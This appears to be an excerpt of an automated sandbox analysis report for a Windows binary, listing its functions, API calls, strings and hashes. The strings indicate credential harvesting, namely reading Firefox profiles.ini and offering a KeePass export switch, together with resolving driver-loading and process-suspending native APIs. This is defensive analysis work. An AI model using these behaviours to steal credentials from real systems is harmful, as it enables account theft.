                                                                                            • GetCurrentProcess.KERNEL32 ref: 00413318
                                                                                            • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                                                                                            • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                                                                                            • memset.MSVCRT ref: 004133C0
                                                                                            • GetCurrentProcessId.KERNEL32 ref: 004133CE
                                                                                            • memcpy.MSVCRT(?,0045AA90,0000021C), ref: 004133FC
                                                                                            • wcscpy.MSVCRT ref: 0041341F
                                                                                            • _snwprintf.MSVCRT ref: 0041348E
                                                                                            • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                                                                                            • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                                                                                            • SetFocus.USER32(00000000), ref: 004134B7
                                                                                            Strings
                                                                                            • {Unknown}, xrefs: 004132A6
                                                                                            • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                            • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                            • API String ID: 4111938811-1819279800
                                                                                            • Opcode ID: 40febe18c8ea58ee401dc1d7e9b16ea7dd9e42426c780dab9fc2ef4c2d2113e8
                                                                                            • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                                                                                            • Opcode Fuzzy Hash: 40febe18c8ea58ee401dc1d7e9b16ea7dd9e42426c780dab9fc2ef4c2d2113e8
                                                                                            • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                                                                                            Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401238
                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00401273
                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                                                                                            • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                                                                                            • SetCursor.USER32(00000000,?,?), ref: 0040129E
                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                                                                                            • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                                                                                            • SetBkMode.GDI32(?,00000001), ref: 004012F2
                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 00401300
                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00401308
                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00401329
                                                                                            • EndDialog.USER32(?,?), ref: 0040135E
                                                                                            • DeleteObject.GDI32(?), ref: 0040136A
                                                                                            • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                                                                                            • ShowWindow.USER32(00000000), ref: 00401398
                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                                                                                            • ShowWindow.USER32(00000000), ref: 004013A7
                                                                                            • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                                                                                            • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                                                                                            • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                            • String ID:
                                                                                            • API String ID: 829165378-0
                                                                                            • Opcode ID: d28eae30b51bd20c699493622e1b5036da36ceab07d34b4d33997197d58435e6
                                                                                            • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                                                                                            • Opcode Fuzzy Hash: d28eae30b51bd20c699493622e1b5036da36ceab07d34b4d33997197d58435e6
                                                                                            • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                                                                                            Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 00404172
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,0040DAEA,?,0040DBA1,00000000,?,00000000,00000208,?), ref: 00409B9C
                                                                                            • wcscpy.MSVCRT ref: 004041D6
                                                                                            • wcscpy.MSVCRT ref: 004041E7
                                                                                            • memset.MSVCRT ref: 00404200
                                                                                            • memset.MSVCRT ref: 00404215
                                                                                            • _snwprintf.MSVCRT ref: 0040422F
                                                                                            • wcscpy.MSVCRT ref: 00404242
                                                                                            • memset.MSVCRT ref: 0040426E
                                                                                            • memset.MSVCRT ref: 004042CD
                                                                                            • memset.MSVCRT ref: 004042E2
                                                                                            • _snwprintf.MSVCRT ref: 004042FE
                                                                                            • wcscpy.MSVCRT ref: 00404311
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                                                                                            • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                                                                                            • API String ID: 2454223109-1580313836
                                                                                            • Opcode ID: a77b9e8d0023a9b0013669bfcd7e150c1f61845d053eff75771d06e602164fa8
                                                                                            • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                                                                                            • Opcode Fuzzy Hash: a77b9e8d0023a9b0013669bfcd7e150c1f61845d053eff75771d06e602164fa8
                                                                                            • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                                                                                            Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                                                                                            • SetMenu.USER32(?,00000000), ref: 00411453
                                                                                            • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                                                                                            • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                                                                                            • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                                                                                            • memcpy.MSVCRT(?,?,00002008,?,00000000,/nosaveload,00000000,00000001), ref: 004115C8
                                                                                            • ShowWindow.USER32(?,?), ref: 004115FE
                                                                                            • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                                                                                            • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                                                                                            • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                                                                                            • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                                                                                            • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                                                                                              • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                                                                                              • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                                                                                            • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                                                                                            • API String ID: 4054529287-3175352466
                                                                                            • Opcode ID: 8847399f9b9726e4c3d36038752de16191353ca0570e8d305bfc5bef64df017b
                                                                                            • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                                                                                            • Opcode Fuzzy Hash: 8847399f9b9726e4c3d36038752de16191353ca0570e8d305bfc5bef64df017b
                                                                                            • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                                                                                            Function 0041352F Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                            • GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                            • GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                            • GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                            • GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                            • GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                            • GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                            • GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                            • GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$HandleModule
                                                                                            • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                                                                                            • API String ID: 667068680-2887671607
                                                                                            • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                            • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                                                                                            • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                            • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                                                                                            Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _snwprintf$memset$wcscpy
                                                                                            • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                            • API String ID: 2000436516-3842416460
                                                                                            • Opcode ID: f43de039386cd0382df8450c395ac1cae23be0dcf7256b882f2abc90b2723d32
                                                                                            • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                                                                                            • Opcode Fuzzy Hash: f43de039386cd0382df8450c395ac1cae23be0dcf7256b882f2abc90b2723d32
                                                                                            • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                                                                                            Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                                                                                              • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                                                                                              • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                              • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                              • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                              • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                              • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                              • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                              • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                              • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                              • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                                                                                            • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                                                                                            • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                                                                                            • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                                                                                            • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                                                                                            • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                                                                                            • LoadIconW.USER32(00000000,00000076), ref: 00403634
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                                                                                            • LoadIconW.USER32(00000000,00000077), ref: 00403648
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                                                                                            • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                                                                                            • LoadIconW.USER32(00000000,00000078), ref: 00403670
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                                                                                            • String ID:
                                                                                            • API String ID: 1043902810-0
                                                                                            • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                            • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                                                                                            • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                            • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                                                                                            Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                                                                                            • ??2@YAPAXI@Z.MSVCRT(00000001,?,004089ED,?,?,?,0000001E,?,?,00000104,?,?,00000104,?,?,00000104), ref: 0040859D
                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                            • memset.MSVCRT ref: 004085CF
                                                                                            • memset.MSVCRT ref: 004085F1
                                                                                            • memset.MSVCRT ref: 00408606
                                                                                            • strcmp.MSVCRT ref: 00408645
                                                                                            • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086DB
                                                                                            • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086FA
                                                                                            • memset.MSVCRT ref: 0040870E
                                                                                            • strcmp.MSVCRT ref: 0040876B
                                                                                            • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000001E), ref: 0040879D
                                                                                            • CloseHandle.KERNEL32(?,?,004089ED,?,?,?,0000001E,?,?,00000104,?,?,00000104,?,?,00000104), ref: 004087A6
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                                                                                            • String ID: ---
                                                                                            • API String ID: 3437578500-2854292027
                                                                                            • Opcode ID: 514a4b219222fc308ac2af9ebc5a2bc9af16dfffa76d3dbf40f60a33dc7994f2
                                                                                            • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                                                                                            • Opcode Fuzzy Hash: 514a4b219222fc308ac2af9ebc5a2bc9af16dfffa76d3dbf40f60a33dc7994f2
                                                                                            • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                                                                                            Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                            • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                            • malloc.MSVCRT ref: 004186B7
                                                                                            • free.MSVCRT ref: 004186C7
                                                                                            • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                                                                                            • free.MSVCRT ref: 004186E0
                                                                                            • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
                                                                                            • malloc.MSVCRT ref: 004186FE
                                                                                            • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                                                                                            • free.MSVCRT ref: 00418716
                                                                                            • free.MSVCRT ref: 0041872A
                                                                                            • free.MSVCRT ref: 00418749
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free$FullNamePath$malloc$Version
                                                                                            • String ID: |A
                                                                                            • API String ID: 3356672799-1717621600
                                                                                            • Opcode ID: 66b970c2726a19c6cf161dcebd973c19408ec610aa0d83d05880a80435803f02
                                                                                            • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                                                                                            • Opcode Fuzzy Hash: 66b970c2726a19c6cf161dcebd973c19408ec610aa0d83d05880a80435803f02
                                                                                            • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                                                                                            Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcsicmp
                                                                                            • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                            • API String ID: 2081463915-1959339147
                                                                                            • Opcode ID: ed70c74fadb10ab7d72ef9915f44c0908033a9cd6b37cdcdb0b46a34d9d8d060
                                                                                            • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                                                                                            • Opcode Fuzzy Hash: ed70c74fadb10ab7d72ef9915f44c0908033a9cd6b37cdcdb0b46a34d9d8d060
                                                                                            • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                                                                                            Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDC.USER32(00000000), ref: 004121FF
                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                                                                                            • SetBkMode.GDI32(?,00000001), ref: 00412232
                                                                                            • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                                                                                            • SelectObject.GDI32(?,?), ref: 00412251
                                                                                            • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                                                                                            • SelectObject.GDI32(00000014,00000005), ref: 00412291
                                                                                              • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                                                                                              • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                                                                                              • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                                                                                            • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                                                                                            • SetCursor.USER32(00000000), ref: 004122BC
                                                                                            • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                                                                                            • memcpy.MSVCRT(?,?,00002008), ref: 0041234D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                                                                                            • String ID:
                                                                                            • API String ID: 1700100422-0
                                                                                            • Opcode ID: 982738172b7671ed7e60757921d653f6822ff96d67897b30d29685b1d4afaeae
                                                                                            • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                                                                                            • Opcode Fuzzy Hash: 982738172b7671ed7e60757921d653f6822ff96d67897b30d29685b1d4afaeae
                                                                                            • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                                                                                            Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetClientRect.USER32(?,?), ref: 004111E0
                                                                                            • GetWindowRect.USER32(?,?), ref: 004111F6
                                                                                            • GetWindowRect.USER32(?,?), ref: 0041120C
